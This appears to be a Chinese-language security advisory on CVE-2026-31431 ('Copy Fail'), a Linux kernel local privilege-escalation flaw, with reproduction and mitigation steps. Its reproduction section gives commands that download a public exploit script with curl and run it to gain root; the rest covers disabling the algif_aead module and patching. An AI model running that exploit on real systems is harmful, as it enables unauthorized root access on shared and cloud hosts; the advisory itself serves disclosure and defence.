CVE-2026-31431(代号Copy Fail)是Linux内核crypto子系统中的一个逻辑漏洞。攻击者仅需本地普通用户权限,通过AF_ALG socket、splice()零拷贝机制以及authencesn模板的处理缺陷,就能精准地将受控数据写入任意可读文件的页缓存。
最致命的是,它可以直接覆盖SUID程序(如/usr/bin/su)在内存中的缓存内容,从而实现稳定、无需竞争条件的本地提权。
该漏洞影响范围极广,几乎覆盖了2017年以来(内核4.9+)的所有主流Linux发行版,包括Ubuntu、RHEL、Amazon Linux、SUSE等。未修补的系统上,一个极小的Python PoC就能可靠地拿到root权限。在补丁大规模推送之前,这类漏洞对共享服务器、云主机、多用户环境构成了严重威胁。
研究者技术博文:https://xint.io/blog/copy-fail-linux-distributions
复现指南
创建新的低权限用户
useradd -s /bin/bash -m pseudoecho pseudo:cat@md5 | chpasswd
使用低权限用户登录ssh后,执行
curl -L -o copy_fail.py https://raw.githubusercontent.com/theori-io/copy-fail-CVE-2026-31431/main/copy_fail_exp.pychmod +x copy_fail.pypython3 copy_fail.py
修复指南
截至目前,多数主流Linux发行版(包括部分Ubuntu、Debian、RHEL等稳定分支)的内核安全更新尚未完全推送CVE-2026-31431的修复补丁。临时禁用algif_aead模块是目前最有效、最推荐的缓解措施。
推荐临时缓解方案:
# 1. 创建禁用配置文件(推荐用这个文件名)echo"install algif_aead /bin/false" | sudo tee /etc/modprobe.d/disable-algif_aead.conf# 2. 立即尝试卸载已加载的模块sudo rmmod algif_aead 2>/dev/null || true# 3. 更新initramfs(Ubuntu/Debian建议执行)sudo update-initramfs -u# 这时候有条件的就重启服务器# 4. 验证是否生效(应该没有任何输出)lsmod | grep algif_aead
如果未来想启用的话:
# 1. 删除禁用配置文件(最干净的方式)sudo rm -f /etc/modprobe.d/disable-algif_aead.conf# 2. 立即尝试加载模块sudo modprobe algif_aead# 3. 验证是否加载成功lsmod | grep algif_aead
长期修复方案:
尽快升级内核到包含修复补丁的版本(修复commit为a664bf3d603d或对应发行版的安全更新)。